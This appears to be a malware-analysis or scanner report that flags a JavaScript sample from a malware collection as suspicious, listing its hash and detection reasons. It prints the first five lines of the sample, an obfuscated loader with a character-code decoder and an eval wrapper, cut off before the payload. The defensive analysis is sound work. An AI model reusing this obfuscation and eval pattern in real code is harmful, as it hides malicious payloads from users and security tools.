Suspicious ^80% javascript-malware-collection Download

20151208_9edd6c7a22636002bbc1d36fd20888b3.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-25697923b2accac00f20493a12158d5cf7abdcf404412add92a56bbc29a4ded5aff

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var ACchBvVCwRqIc=[];for(VexbRug=(-968+968)/848;VexbRug<(8007+313)/65;VexbRug++){ACchBvVCwRqIc[VexbRug]=String.fromCharCode(VexbRug)}function JzFyo(nVoRFAUTqin,VKLzXwaDNXHvy,iTpGgbzT){AzZU=parseInt(nVoRFAUTqin,VKLzXwaDNXHvy);WLtfh=AzZU.toString(iTpGgbzT);return WLtfh;}function dPPFtLGIADslZgT(ReXOAFoUNkCZApicF){eval(ReXOAFoUNkCZApicF)}
2function nAgQxlQWEyoWPIGuwtBJZnahupbLEklTKSAJGDQCwWEYithHnxkWAZ(dVPVtRpMDnnCs,rgHFoTtnQJXNxO){ return ACchBvVCwRqIc[JzFyo(dVPVtRpMDnnCs[rgHFoTtnQJXNxO],(3970+930)/490,(246+224)/47)];}
3function sSgSPdl(yFmJaBasMYAhVOdNvWmkrkKkSdYdabpjlBoi) {return !isNaN(parseFloat(yFmJaBasMYAhVOdNvWmkrkKkSdYdabpjlBoi)) && isFinite(yFmJaBasMYAhVOdNvWmkrkKkSdYdabpjlBoi);}
4function IwkRMuhcAEU(CIlDRyKW,ZNKXmy){return CIlDRyKW.split(ZNKXmy)}
5var Z=[];Z.push("13");Z.push("10");Z.push("13");Z.push("10");Z.push("118");Z.push("97");Z.push("114");Z.push("32");Z. …